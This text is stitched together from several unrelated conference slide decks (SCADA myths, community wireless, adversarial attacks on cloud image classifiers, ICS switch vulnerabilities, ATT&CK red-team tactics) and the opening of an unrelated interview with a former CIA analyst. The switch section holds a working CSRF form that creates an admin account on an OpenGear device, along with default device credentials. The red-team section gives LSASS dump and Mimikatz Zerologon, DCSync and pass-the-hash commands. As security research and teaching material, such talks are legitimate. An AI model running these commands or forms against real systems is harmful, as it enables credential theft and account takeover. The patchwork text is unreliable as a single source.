41
Oh, you
forgot about
testing
42
Oh, you
forgot about
people
43
Oh, you
forgot about
people
44
What if it really is SCADA?
45
Stuff breaks
46
All the
&*^$ing
time
47
And it gets
fixed
48
And it gets
fixed
49
And you
never
noticed
50
And you
never
noticed
51
And you
never
noticed
52
And you
never
noticed
53
But... WAIT!
What about
the Aurora
Explosion
Demo
Awesome
Video??????
54
Oh yeah,
and BTW...
Smart
meters
aren’t
SCADA
55
4/ Practical Positive Things
56
You can
understand
this stuff
57
You can
help
58
They need
you
59
You need to
suck it up
60
It's time to
learn before
teaching
61
It's time to
learn before
teaching
62
5/ You Wouldn't Believe
Me If I Told You
63
The
Organization
is
against
you
64
Your prima
donna
attitude is
against you
65
Your age is
against you
66
It's time to
start
hacking
67
First you
hack the
org
68
Then you own their asses
69
Then you own their asses
70
6/ Movies Would Have
You Believe
71
It's a mad
mad
graphical
awesome
world
72
It's a mad
mad
graphical
awesome
world
73
It's a mad
mad
graphical
awesome
world
74
It's a mad
mad
graphical
awesome
world
75
It's a mad
mad
graphical
awesome
world
76
It's a mad
mad
graphical
awesome
world
77
It's a mad
mad
graphical
awesome
world
78
What an afternoon at the
console really feels like
79
What an afternoon at the
console really feels like
80
What an afternoon at the
console really feels like
81
7/ The Media Hypes
It As If...
82
83
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
CYBER
APT !
There's a
hacker
behind the
bush
84
There's a
hacker
behind the
bush
85
There's a
hacker
behind the
bush
86
There's a
hacker
behind the
bush
87
There's a
hacker
behind the
bush
88
A 14yo in
Mom's
basement
89
A 14yo in
Mom's
basement
90
A 14yo in
Mom's
basement
91
L337 cadre
of soldiers
92
L337 cadre
of
supersoldiers
93
L337 cadre
of
genetically
engineered
supersoldiers
94
Killer Tubes
95
8/ Bad Shit That
Actually Happened
96
Not
necessarily
public news.
97
9/ What Could Have
Saved It
98
Superheroes
99
Superheroes,
Ninjas
100
Superheroes,
Ninjas and
Pirates
101
Following
Instructions
102
Or, not sucking at
implementation
103
Or, doing
what you're
told
104
Or, stuff
that has
nothing at
all to do
with
computers
105
10/ What You Can Do -
Little Picture
106
Learn
107
Stop listening to "experts"
108
Modest
changes,
massive
results
109
11/ What You Can Do -
Big Picture
110
Stop feeding
the trolls
111
Avoid being
‘that person’
112
Press for
sane
acquisitions
113
Study past
success
114
Study past
success
115
Q & A
@myrcurial
[email protected]
116
Credits, Links and Notices
117
Me:
http://myrcurial.com and
http://cyberdouchery.com
and sometimes http://liquidmatrix.org/blog
Thanks:
All of you, My Family, Friends, Jeff Moss
(for demanding this talk) The Lady Nikita,
and the rest of the DEF CON Team.
Mentors/Luminaries: D. Anderson, M. Fabro, D. Peterson,
J. Brodsky, R. Southworth, M. Sachs, C. Jager,
B. Radvanovsky and J. Weiss (borrowed material from all)
Inspiration:
twitter, fast music, caffeine, my lovely wife
and hackerish children, blinky lights, shiny
things, modafinil & altruism.
http://creativecommons.org/licenses/by-nc-sa/2.5/ca/ | pdf |
09/07/09
[email protected]
1
Fear and Loathing in Community
Wireless Networks
Ken Caruso – Co-Founder Seattlewireless.net,
Freenetworks.org
09/07/09
[email protected]
2
Notice to CD Users
If you are reading this off of the CD,
please note that I have a lot of info in
the speakers notes, I like to keep the
slides terse, and put most of what I will
discuss in the speakers notes of the
PowerPoint. Also check to see if a newer
revision of the slide deck has been
released
09/07/09
[email protected]
3
Freenetworks?
Open peering/free transit
Put up a node start routing packets
Community Wireless Networks
Free as in speech
09/07/09
[email protected]
4
09/07/09
[email protected]
5
Different Approaches
For some the current mission is free
public Internet Access
For some the mission is to build
Infrastructure that is completely
community owned, does not rely on
existing Telco lines, and may not
necessarily provide Internet access
09/07/09
[email protected]
6
09/07/09
[email protected]
7
Why is this happening?
Standards based technology is finally available
Extremely inexpensive gear
Growing desire for connectivity anywhere
Techies/Hackers feel like they are being
screwed over by ISPs
Think BBS, Fidonet etc... (Geeks like to connect
computers together)
09/07/09
[email protected]
8
09/07/09
[email protected]
9
Foe?
ISP’s providing all you can eat have
already been feeling the burn
Where is 3g?
WISPs are possibly concerned about
crowded bands
Pringles Can-tennas are not FCC certified
09/07/09
[email protected]
10
09/07/09
[email protected]
11
Friend?
Yet another thing for ISPs to complain
about
Geek community is always pissed off at
the Telco
Media loves the “controversy”
09/07/09
[email protected]
12
09/07/09
[email protected]
13
Confusion
Why would anyone do anything for free?
Venture Capitalists want to know the
secret plan?
Who pays for it?
Will this hurt or hinder other models
09/07/09
[email protected]
14
09/07/09
[email protected]
15
Privacy
Decentralization of network ownership
Harder to get aggregate inspection point
Do not need to give private information to
join/use the network
09/07/09
[email protected]
16
09/07/09
[email protected]
17
Community or Independently
Owned Infrastructure
Different from existing way of thinking
Breaking down the local loop monopoly
Faster deployment of new technology
Promoting R&D
09/07/09
[email protected]
18
09/07/09
[email protected]
19
Peer to Peer
Location based apps
Increased efficiency in p2p apps such as
file sharing
Why go get it from the Internet when my
next door neighbor has it on our wireless
link
09/07/09
[email protected]
20
09/07/09
[email protected]
21
How do I start
Check to see if a group exists in your
area
Start a mailing list and website to
organize meetings and events
Read existing groups mailing lists and
websites
09/07/09
[email protected]
22
Links
http://freenetworks.org
http://seattlewireless.net
http://personaltelco.net
http://nycwireless.net
http://bawug.org
http://consume.net
http://nocat.net
http://novawireless.org
09/07/09
[email protected]
23
Links
http://www.houstonwireless.org/
http://www.elektrosmog.nu/
http://bcwireless.net/
http://www.austinwireless.net/ | pdf |
Transferability of Adversarial Examples
to Attack Cloud-based Image
Classification Service
Dou Goodman(兜哥) @
Our Team X-Lab
AI#Security#Research#@
Open#Source#Projects:
Today’s Topics
Cloud-based
Image Classifier Service
+perturbation
Origin
Adversary
Class:#Cat#
Score:#0.99
Class:#Flesh#
Score:#0.99
Black-box Attack
Demo:Fool Google Image Search
Demo:Fool Google Image Search
Attacks Overview
l We#propose#Fast#Featuremap#Loss#PGD(FFL-
PGD)##untargeted#attack#based#on#Substitution#
model#,which#achieve#a#high#evasion#rate#with#a#
very#limited#number#of#queries.##
l Instead#of#millions#of#queries#in#previous#studies,#
our#method#find#the#adversarial#examples#using#
average#only#one#or#two#of#queries.##
White-box Attack is Easy
The#attacker#knows#the#network#structure#and#
parameters,#and#has#unlimited#access#to#model#input
Black-box Attack is Difficult
The#attacker#can##unlimited#access#to#model#input
Unknown#Model#
Unknown#parameters#
Unknown#network#structure#
Attack Cloud-based
Image Classifier Service is More
Difficult !
Unknown#Model#
Unknown#
Preprocessing#
Unknown#parameters#
Unknown#network#structure#
resize,crop,blur,…
The#attacker#can##only# access#to#model#input#with#
unknown#preprocessing#and#limited#queries###
Keeping#model#in#cloud#provides#a#FALSE#
sense#of#security#!
(Img#from:# http://www.sohu.com/a/215163641_115479)
Steps of Our Attack
Step1:Substitute#Model#Training#
Step2:Adversarial#Sample#Crafting##
##
Step#1##
Step#2##
Substitute Model Training(1)
•
We#can#DNNs#which#
pretrained#on#ImageNet#
as#our#substitute#
model#.#
•
Better#top-1#accuracy#
means#stronger#feature#
extraction#capability.##
Top1 vs. network. Top-1 validation accuracies for top scoring
single-model architectures (Img from
https //arxiv org/abs/1605 07678v1)
Substitute Model Training(2)
•
We#simplify#untargeted#attack#into#binary#
classification#problem#:Cat#or#not?#
•
We#fix#the#parameters#of#the#feature#layer#and#
train#only#the#full#connection#layer#of#the#last#
layer.##
#
feature#layer#
The#last#FC#
#layer#
Cat:0.99#
Other:0.01##
fixed#
trainable#
Substitute Model Training(3)
Initial training set S #
Label the substitute
training set
Labeled training set S’ #
Train DNNs on S’ #
Key point:
we use images which we will
attack as our training set
#
Adversarial Sample Crafting(1)##
We#propose#Fast#Featuremap#Loss#PGD#attack#which#
has#a#novel#loss#function#to#improve#the#success#rate#
of#transfer#attack.#
The#loss#function#L#is#defined#as:##
Adversarial Sample Crafting(2)##
•
Class#Loss#makes#the#result#of#classification#wrong#
•
FeatureMap#Loss#which#is#the#output#of#the#last#
convolution#layer#of#the#substitute#model,#
represents#the#highest#level#of#semantic#features#of#
the#convolution#layer#and#improves#transferability#
of##adversarial#sample##
##
#
Adversarial Sample Crafting(3)##
Illustration#of#cat#recognition,#the#first#convolution#layer#
mainly#recognizes#low#level#features#such#as#edges#and#
lines.#In#the#last#convolution#layer,#it#recognizes#high#level#
features#such#as#eyes#and#nose.##
##
#
Adversarial Sample Crafting(4)##
We#assume#the#original#input#is#O,#the#adversarial#
example#is#ADV#,#and#the#featuremap#loss#is:##
##
#
Datasets and Preprocessing(1)
•
100#cat#images#and#100#other#animal#images#
are#selected#from#the#ImageNet#val#set.##
•
Images#are#clipped#to#the#size#of#224×224×3#
•
Image#format#is#RGB##
#
Datasets and Preprocessing(2)
•
We#use#these#100#images#of#cats#as#original#images#to#
generate#adversarial#examples#and#make#a#black-box#
untargeted#attack#against#real-world#cloud-based#image#
classification#services#.##
•
We#count#the#number#of#top-1#misclassification#to#
calculate#the#escape#rate.##
#
Attack Evaluation
•
We#choose#ResNet-152#as#our#substitute#model#
•
We#launche#PGD#and#FFL-PGD#attacks#against#our#
substitute#model#to#generate#adversarial#
examples.##
•
We#compare#FFL-PGD#with#PDG#and#ensemble-
model#attack#,#which#are#considered#to#have#good#
transferability#.#
##
Attack Evaluation:Escape#Rates#
We#increase#step#size#ε#from#1#to#8,#the#figure#
records#the#escape#rates#of#PGD#and#FFL-PGD#
attacks#
• FFL-PGD#attack#has#a#
success#rate#over#90%#
among#different#cloud-
based#image#
classification#services#.#
• Our#FFL-PGD#has#a#
better#transferability#
than#PGD#
#
Attack Evaluation:PSNR
The#figure#records#the#PSNR#of#PGD#
and#FFL-PGD#attacks##
PGD has a higher
PSNR ,which is
considered as better
image quality .But both of
them higher than 20dB
when ε from 1 to 8, which
means both of them are
considered acceptable for
image quality. #
Attack Evaluation:SSIM
The#figure#records#the#SSIM#of#
PGD#and#FFL-PGD#attacks##
FFL-PGD has a higher
SSIM ,which is
considered as better
image similarity #
Attack Evaluation:#Ensemble-model
attack
Ensemble-model#
attack#a#lot#of#DNNs#
to#generate#
adversarial#
examples#which#can#
fool#them#at#once##
VGG
ResNet
AlexNet
AlexNet
………..#
Attack Evaluation:#Ensemble-model
attack
The#figure#records#the#escape#rate#
of#ensemble-model#attack##
• The escape rates of
Amazon, Google and
Clarifai are below 50%
• The#transferability#
decreases#in#the#face#of#
the#pre-processing#of#
cloud#services,such#as#
resizing,cropping#
Conclusion
•
Keeping#model#in#cloud#provides#a#FALSE#sense#of#
security#
•
Our#FFL-PGD#attack#have#a#success#rate#over#90%#
among#different#cloud-based#image#classification#
services#using#only#two#queries#per#image## | pdf |
Switches Get Stitches: Episode 3
Then there were three of them.
Who are we?
Last episode on switches get stitches…
Scalance X-Family < V5.0.0
echo -n "admin:password:C0A800020002F72C" | md5sum
C0A8006500000960
C0A8006500001A21
C0A80065000049A6
C0A8006500005F31
C0A800650007323F
This is the hash on the wire. Mmmm, low sodium cracking.
Last episode on switches get stitches…
Scalance X-Family < V5.0.0
echo -n "admin:password:C0A800020002F72C" | md5sum
C0A80065
uptime in hex -> 00000960
C0A80065
00001A21
C0A80065
000049A6
C0A80065
00005F31
C0A80065 <- client ip in hex
0007323F
Siemens Session IDs are drunk.
Siemens Scalance XNNN CSRF of:
firmware || logs || config
https://github.com/blackswanburst/scalance
GE XSS
GE Private Keys. Oh My.
GE Firmware integrity
GE DDoS
Garretcom Keys. Oh My.
OpenGear are cool.
• I reported an oldae to them: CVE-2006-5229
• They fixed it in ONE WEEK. One.
• Thank OpenGear for fixing vulns in NORMAL
security patch time instead of MONTHS. This
is a personal record, getting anything patched
in ONE week in SCADA is unheard of.
• Also most secure default deployment I’ve
seen, but Colin has some vulns later.
EOL and forever days.
• Security economics
• Code Escrow
• Long term thinking
• Over to Robert for the defence leetness.
• Bring me my stage manhattan, I’m done.
Siemens Scalance X200
Continuing a theme
•
Binwalk-ing the 5.0.1 firmware we get:
Siemens Scalance X200
Continuing a theme
Siemens Scalance X200
Continuing a theme
Siemens Scalance X200
Continuing a theme
Siemens Scalance X200
Continuing a theme
•
Self signed default Certificate
•
Can be changed via Web interface
•
Not mentioned anywhere in the documentation
GE MDS Wiyz
GE MDS Wiyz
GE MDS Wiyz
GE MDS Wiyz
•
Passwd file contained
undocumented users and hashes
•
admin – admin
•
guest – guest
•
authcode – authode
•
fact – wal63sfo
•
root - ??
GE MDS Wiyz
Key Management in network
equipment
• Default Keys are to be expected, however
– Undocumented Certs/Keys = bad
– Unchangeable Cert/keys = bad
– Self-signed keys = ??
• Switches lack processor power and/or entropy
to create their own keys on initialisation.
Key Management in network
equipment
•
Not just default (undocumented) passwords and accounts any more
•
Now default (possibly undocumented) certifications and key need
changing.
–
If possible
•
In a secure manner
–
Before deployment
–
Direct physical connection to device needed
•
Need to think about the risks of self signing certs
“The problem with Key Management is that you have to manage your
keys”
Key Management in network
equipment
“The problem with Key Management is that you
have to manage your keys”
OpenGear
OpenGear Support Report
OpenGear Support Report
•
Link on a page normally only available to the root user…
•
Can be directly accessed by any authenticated user from:
•
https://192.168.0.1/cgi-bin/supportreport.cgi
•
Dumps
–
Crontab.root
–
Inittab
–
Syslog
–
Support.txt
•
Support txt includes:
–
Ifconfig, netstat, ssh key fingerprints and file locations.
–
Iptables, switch statistics, cell modem configuration,
–
Proc/meminfo, disk usage, process
–
Config.xml – including all usernames.
OpenGear File get
• https://192.168.0.1/cgi-bin/getfile.cgi
• Allows the user to get any file they have
permissions to read.
• Useful if you have no SSH/telnet access…
OpenGear File get
OpenGear File get
OpenGear Weak Session IDs
GET /cgi-bin/index.cgi?form=portbuffers&h=0 HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
DNT: 1
Referer: https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: OgSessionId=5fe92c34;
OpenGear Weak Session IDs
Example OgSessionId=4ed8e8bd64fcf18137b957cb66387cd2
OpenGear XSS
•
Input filtering is in place to protect against XSS
OpenGear XSS
•
But what about outbound?
OpenGear XSS
•
But what about outbound?
OpenGear XSS
OpenGear CSRF
•
So creating an account looks like:
OpenGear CSRF
•
So lets see if we can CSRF it
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST'
action='https://192.168.0.1/?form=users&action=del&index=4&type=
user&h=0' target="csrf-frame" id="csrf-form">
<input type='hidden' name='new.name' value='CSRFAdmin1'>
<input type='hidden' name='new.description' value='CSRFAdmin'>
<input type='hidden' name='new.password' value='password'>
<input type='hidden' name='group2' value='admin'>
<input type='hidden' name='new.confirm' value='password'>
<input type='hidden' name='new.numkeys' value='0'>
<input type='hidden' name='new.callback.phone' value=''>
<input type='hidden' name='apply' value='Apply'>
<input type='hidden' name='form' value='users'>
<input type='hidden' name='type' value='user'>
<input type='hidden' name='form' value='users'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
OpenGear CSRF
Robert
Ideal Layout of a Generic ICS Network
Typical Layout
Challenges in ICS environments
• Legacy equipment
• Who owns the problem?
• Unmanaged infrastructure
• Who has time?
• Vendor support
• Regulations
NSM in an ICS
Pre-HAVEX
Post-HAVEX
•
NSM and Asset Identification is all about:
–
Knowing your network topologies
–
Monitoring for changes
–
Building off the basics
•
It does have challenges:
–
Isn’t a fix all solution
–
Requires people and processes
–
Toughest part is buy-in and prep
•
It does bring value:
–
Identify threats
–
Identify misconfigured/failing devices
–
Better situational awareness
–
Fits into larger defense strategy
•
Why it excels in ICS:
–
Static environments
–
Less users than an Enterprise
–
Less assets than IT networks
–
No patches? At least monitor!
Safely Capturing Data
• Logging enabled and centralized
• Network and Memory data are king
• Test/lab environment first
– Taps/hubs that fail open
– Install on scheduled down times
• Work with vendors to have managed network
infrastructure
• Be mindful of network bandwidth usage
• At least sample environment manually
– Mirrored port, hubs, taps, etc.
Easy to Use Starter Kit
• 101 matters
– It’s not sexy but it works
– Adversaries are “efficient”
and you must kill noise
• SecurityOnion
• Tcpdump to capture
• Flowbat/SiLK to analyse
flows
• Xplico for FTP
• NetworkMiner/Foremost
– Pull out exe’s, project
files, etc.
• Wireshark to analyse
– Endpoints
– I/O Data
– Unusual function codes
Wireshark I/O Data
Pre-HAVEX
Post-HAVEX
Firmware Modification in I/O Data
Pre-Firmware Modification
During-Firmware Modification
Key Things to Focus on
• Identify the top talkers
• Identify biggest bandwidth users
• Identify encrypted communications
• Identify critical assets and normalized traffic
• Identify network anomalies
– Firmware updates not during scheduled down time
– HMI 1 talking to HMI 2
– Odd data flows, spikes in protocol historical data, new
connections in the ICS, PLCs talking to iran.com
This could be us
But you playing
We are the love-children of IT and OT
• IT and OT integration is unavoidable
• Work together and have a plan
• Lots of defender narratives exist
• Include the vendors
– Force the discussions
– Write it into the contract
– Know who owns what
– Ensure responsibility
• Now back to breaking shit
– Stage booze? I’ll take an
Old Fashioned please
I am ashamed
We are ashamed
We want you to
be ashamed
Ancient Rome left us roads and concrete.
Han Dynasty China gave us paper and printing.
Edwardian Britain gave us steam engines.
America gave us the internet.
Will we leave our ancestors insecure networks?
Legacy used to mean something different.
It used to mean a gift left to the next generation.
Now legacy system means old and insecure.
Reclaim the word legacy.
Be ashamed to die until
you provide secure
industrial infrastructure
to the next generation | pdf |
haya
ATT&CK红队战术漫谈
◉ haya
◉ 木星安全实验室 · 红队负责人
◉ Github: https://github.com/hayasec
◉ Blog: hayasec.me
◉ 红蓝对抗与红队武器化
ABOUT ME
今天聊点啥?
ATT&CK与红队攻击战术漫谈
ATT&CK矩阵(站在攻击者的视角来描述攻击中各阶段用到的技术的模型)
初 始
访 问
执 行
攻 击
权 限
维 持
权 限
提 升
防 御
绕 过
凭 据
获 取
数 据
披 露
横 向
移 动
目 标
数 据
收 集
内 网
数 据
窃 出
偷渡式攻击
外部程序攻击
硬件植入
USB复制
鱼叉式附件
鱼叉式钓鱼
供应链攻击
可信关系
有效帐户
……
命令行界面
编译HTML文件
控制面板项
动态数据交换
通过API执行
通过模块加载执行
利用客户端执行
图形用户界面
LSASS驱动
本地作业任务
计划任务
脚本执行
服务执行
签名二进制代理
签名脚本代理执行
文件名后的空格
第三方软件
Trap程序
可信的开发工具
用户执行
WMI
Win远程管理
XSL脚本处理
……
辅助功能
账户操纵
Shimming应用
验证包
BITS任务
浏览器扩展
更改默认文件关联
组件固件
COM劫持
创建账号
DLL顺序劫持
Dylib劫持
外部远程服务
文件系统权限
隐藏文件和目录
挂钩
虚拟机技术
IFEO注入
内核模块和扩展
LSASS驱动
启动Agent
启动守护进程
本地作业调度
……
访问令牌操作
辅助功能
Bypass UAC
DLL搜索劫持
Dylib劫持
漏洞提权
EWM注入
文件系统权限
挂钩
IFEO注入
启动守护进程
新服务
路径拦截
Plist修改
端口监视器
进程注入
SID历史注入
任务计划
服务注册表权限
启动项
Sudo缓存
有效账户
Web Shell
……
账户操纵
Bash历史
暴力破解
凭证转储
文件凭证
注册表凭证
凭证漏洞利用
强制认证
输入捕获
输入提示
LLMNR投毒
网络嗅探
密码筛选器DLL
私钥
安全内存
双因素拦截
……
帐户发现
应用窗口发现
浏览器书签发现
文件和目录发现
网络服务扫描
网络共享发现
密码策略发现
外围设备发现
权限组发现
进程发现
查询注册表
远程系统发现
安全软件发现
系统信息发现
网络配置发现
网络连接发现
系统用户发现
系统服务发现
系统时间发现
……
访问令牌操作
BITS任务
二进制填充
绕过UAC
清除命令历史
代码签名
组件固件
COM劫持
控制面板项
DLL侧载
禁用安全工具
EWM注入
文件删除
文件权限修改
隐藏用户
隐藏窗口
IFEO注入
指标拦截
从主机移除指标
间接命令执行
安装根证书
InstallUtil程序
LC_MAIN劫持
……
AppleScript消息
应用部署软件
分布式对象模型
远程服务漏洞利用
登陆脚本
PtH
PtT
远程桌面协议
远程文件复制
可移动媒体复制
SSH劫持
共享Webroot
污染共享内容
第三方软件
Win管理员共享
Win远程管理
远程服务
……
音频捕获
自动化收集
剪贴板数据
数据整合
存储库数据
本地系统数据
网络驱动器数据
可移动媒体数据
电子邮件收集
输入捕获
浏览器中间人
截屏
视频捕获
……
自动化透传
数据压缩
数据加密
数据传输大小限制
透传的备用协议
C2通道进行透传
网络介质透传
物理介质透传
周期传输
……
常用端口
可移动媒体通信
代理传输
自定义协议
数据编码
数据混淆
域前置
备用信道
多段信道
多层加密
……
影 响
消 除
账户权限删除
数据销毁
磁盘擦除
终端拒绝服务
固件损坏
拒绝系统恢复
资源劫持
服务停止
数据传输操作
……
命 令
控 制
● 红队作战攻击重要步骤
● 战术中用到的技术点
● 工具改造与武器化
初始访问@TA0001
初始接入策略代表攻击者用于在网络中取得初始立足点
的(攻击)向量
打点?
初始访问: 打点
薄弱防护系统,边缘业务
同C段同ISP
关键集权系统
供应链
......
注册表
计划任务
初始访问:钓鱼攻击
载荷格式?
投递方式?
社工话术?
利用方式?
初始访问: 免杀宏
● VelvetSweatshop
● 诱导
● 白加黑
执行@TA0002
执行策略表示造成在本地或远程系统上执行由攻击者控
制的代码的技术。该策略通常与初始接入一起使用,作
为一旦获得访问就执行代码的手段,之后进行横向移动
以扩展对网络上远程系统的访问。
执行:LOLBINS
● https://github.com/LOLBAS-Project/LOLBAS
lolbins可以是带有Microsoft签名的二进制文件,可以是Microsoft系统目
录中二进制文件。
可以是第三方认证签名程序。
具有对APT或红队渗透方有用的功能。
该程序除过正常的功能外,可以做意料之外的行为。(如:执行恶意代码、
绕过UAC、下载文件、转储进程内存、逃避日志等)。
执行:LOLBINS
执行:LOLBINS
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump
(Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
HKCR\mscfile\shell\open\command --> evil.exe
Sqldumper.exe 592(lsass.exe)
csc.exe
wmic.exe
rundll32.exe
excel.exe
mshta.exe
eventvwr.exe
cmstp.exe
msiexec.exe
sqldumper.exe
sqldumper.exe
at.exe
mmc.exe
......
持久化@TA0003
持久化是指任何对系统的访问,操作或配置更改,使攻
击者在该系统上持续地存在。攻击者通常需要通过中断
来维持对系统的访问,例如系统重启,凭据丢失或其他
需要远程访问工具重新启动或备用后门才能重新获得访
问权限的故障。
持久化
注册表
服务
计划任务
Hijack
WMI
驱动
......
持久化:计划任务
Task Scheduler Interfaces
任务计划程序接口,
提供对Task Scheduler中可用功能的编程访问
ITaskService, TaskScheduler, go-ole
At
Schtask
Task Scheduler
API
持久化:计划任务
每天启动计划任务
(Scripting)
(C++)
(XML)
持久化:计划任务
C#
TaskScheduler
Execute-assembly
特权提升@TA0004
特权提升是允许攻击者在系统或网络上获得更高级别权
限的结果。某些工具或操作需要更高级别的权限,并且
在特定操作的许多场景很可能都是必需的。
特权提升
UAC(User AccountControl)是从Windows Vista开始出现的安全技术,它通过
限制应用程序的执行权限来达到提升操作系统安全性的目的。
hfiref0x在github上整理了各种UAC绕过技术的实现,并对每个方法进行编号。
漏洞、DLL劫持、可信目录、Com组件接口、注册表等等
https://github.com/hfiref0x/UACME
特权提升:UAC绕过
CSMTPLUA
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
ICMLuaUtil
ShellExec
特权提升:UAC绕过
凭据访问@TA0006
凭据访问表示造成访问或控制在企业环境中使用的系统,
域或服务凭据的技术。攻击者可能会尝试从用户或管理
员帐户(具有管理员访问权限的本地系统管理员或域用
户)获取合法凭据,以便在网络中使用。
凭据访问:Mimikatz
◉ PE-loader
● https://github.com/GhostPack/SafetyKatz
● https://github.com/Flangvik/BetterSafetyKatz
◉ Assembly-load
凭据访问:Mimikatz
凭据访问:Mimikatz
凭据访问:Mimikatz
● LLVM
● YANSOllvm 树内模糊混淆ollvm
● MINGW
凭据访问:Mimikatz
凭据访问:Mimikatz
凭据访问:Mimikatz
披露@TA0007
披露是包括允许攻击者获得有关系统和内部网络的知识
的技术。
披露:浏览器密码
全称Data Protection Application Programming Interface
作为Windows系统的一个数据保护接口被广泛使用
主要用于保护加密的数据,常见的应用如:
EFS文件加密
存储无线连接密码
Windows Credential Manager
Internet Explorer
Outlook
Skype
Windows CardSpace
Windows Vault
Google Chrome
Dpapi采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加
密信息了。
披露:浏览器密码
披露:浏览器密码
https://github.com/moonD4rk/HackBrowserData
https://github.com/DeEpinGh0st/Browser-cookie-steal
https://github.com/QAX-A-Team/BrowserGhost
......
披露:浏览器密码
Master Key file:二进制文件,可使用用户登录密码对其解密,获得Master Key
Master Key :用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在
Master Key file中
Preferred文件:位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过
期时间,默认90天有效期
Win32 API 加密函数CryptProtectData 、解密函数 CryptUnprotectData
◉ Mimikatz
● sadump::secrets
● sekurlsa::dpapi
◉ SharpDPAPI
披露:浏览器密码
披露:360安全浏览器密码
https://github.com/hayasec/360SafeBrowsergetpass
披露:360安全浏览器密码
https://github.com/hayasec/360SafeBrowsergetpass
横向移动(Lateral Movement)包括使攻击者能够访问
和控制网络和云上的远程系统的技术,但不一定包括在
远程系统上执行的工具。横向移动技术允许攻击者收集
系统信息而无需额外的工具,如远程访问工具。
横向移动@TA0008
横向移动
当红队已经通过某些途径进入内网以后,已经通过一些方法获取到内网Windows服务器帐号密
码以后,通过这些账与密码去远程控制更多目标服务器的一种行为。
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash.txt
net use \\192.168.1.1\C$ pass /user:administrator
445、1433、3389、6379、1099……
搜集一切有用的信息
Schtasks、Psexec、Impacket、IPC、reg、SC……
横向移动
横向移动:漏洞利用
Zerologon,MS17010,CVE-2019-1040…
lsadump::zerologon /target:DC01.XXX.COM /account:DC01$ /exploit
lsadump::dcsync /domain:XXX.COM /dc:DC01.XXX.COM /user:krbtgt /all /csv /authuser:DC01$ /authdomain:XXX
/authpassword: /authntlm
sekurlsa::pth /user:administrator /domain:XXX /rc4:baee64c114772f85cb2c6595d5eeca8d
lsadump::postzerologon /target:192.168.1.4 /account:DC01$
横向移动
◉劫持欺骗
● ARP
● LLMNR Poison
● WPAD
◉ 域
● 各种抓密码
● 微软“不认”的漏洞
横向移动:横向渗透防护
横向移动:横向渗透防护
横向移动:横向渗透防护Bypass
横向移动:横向渗透防护Bypass
横向移动:横向渗透防护Bypass
横向移动:横向渗透防护Bypass
横向移动:横向渗透防护Bypass
写在最后
Q&A | pdf |
Interview with David MacMichael – February 13, 2006
by Richard Thieme
David MacMichael is a former CIA Analyst, US Marine and historian. He was a senior
estimates officer with special responsibility for Western Hemisphere Affairs at the CIA's
National Intelligence Council from 1981 to 1983. He resigned from the CIA rather than
falsify reports for political reasons and testified at the World Court on the illegalities of
Iran-Contra.
MacMichael started The Association of National Security Alumni, an organization to
expose and curtail covert actions, and is a steering committee member of Veteran
Intelligence Professionals for Sanity (VIPS).
He and Richard Thieme, a frequent contributor to NCR, recently met at an Intelligence
Ethics Conference that gathered nearly two hundred professionals from a broad spectrum
of perspectives to discuss the impact of a career in intelligence on the moral and ethical
life of the intelligence professional.
MacMichael discusses his background, ethical issues in intelligence, and the relevance of
Iran-Contra to current national security issues.
RT: David, we discussed technology and the intelligence community—
DM: That’s a term I hate! It sounds so warm and fuzzy.
RT: What do you prefer?
DM: Intelligence system.
RT: OK. Technology and the intelligence system.
DM: For years I worked at SRI (Stanford Research Institute) and Uri Geller and people
like that were always floating through. I was supposed to be a voice of sanity but they did
get me thinking about certain things that show up in your piece on technology
(MacMichael reviewed my essay, The Changing Context of Intelligence and Ethics:
Enabling Technologies as Transformational Engines) and what is happening there in the
intelligence community. Jacques Ellul wrote of how technology defines the way the
world operates and if it has an evil purpose or one that is wrong by previous standards, it
will be used anyway.
I was a history professor, and I think of Diderot in the 18th century France. The
Encyclopedia was really a technical manual that exposed what had previously been
referred to as “the mysteries” of the craft guilds. Transforming mystery into knowledge
became a basis for the industrial revolution. That kind of change is significant and
impacts the issues you raise on the ethical side about the intelligence system.
Which brings me to an important question: What has all of that got to do with
“intelligence?” I think of all the crazy science they did in MKULTRA and MKSEARCH
and programs like that. How did that relate to gathering intelligence in order to inform
policies?
Another point you make is that transformation imposed by global multi-national
corporations that transcend all national boundaries make the concept of nation states in
conflict highly questionable. In the 19th and 20th centuries, conflicts were between nation
states. But even so, you can go back through any historical atlas and look at the post-
Roman empire and it’s like a kaleidoscope as you turn through the maps as the borders
and shapes of geographical structures change.
RT: The maps in people’s minds are more permanent than the territories represented by
the maps. Now neuro-science is mapping regions of the brain-
DM: Yes, and from Ellul’s perspective, that translates into control. Control is what
programs like MK Ultra were about and that raises critical ethical issues.
I worked at Stanford with Harvey Weinstein a psychiatrist who headed student
psychiatric services for the university. Harvey became a psychiatrist because his father
was a victim of MKULTRA experimentation. His father deteriorated into depression and
worse as a consequence of Ewen Cameron’s crazy science, but the family was told his
father was going through this because he was not sufficiently cooperative with his
treatment. That pushed Harvey into psychiatry. In the late seventies, after the revelations
of the Church and Pike Committee hearings, he became aware of the real causes.
Why are those devastating techniques lumped in with intelligence at all? That goes to the
more basic question of why are intelligence and covert operations lumped together?
Intelligence is about information. The rule of thumb for covert operations is that there is
75% disinformation. The ethical issues are difficult to reconcile. One is based on truth
and other on its opposite.
RT: Friends in one of the agencies complain of the hubris that blinds people inside to a
sense of accountability toward the people i.e. citizens like us, who pay their salaries.
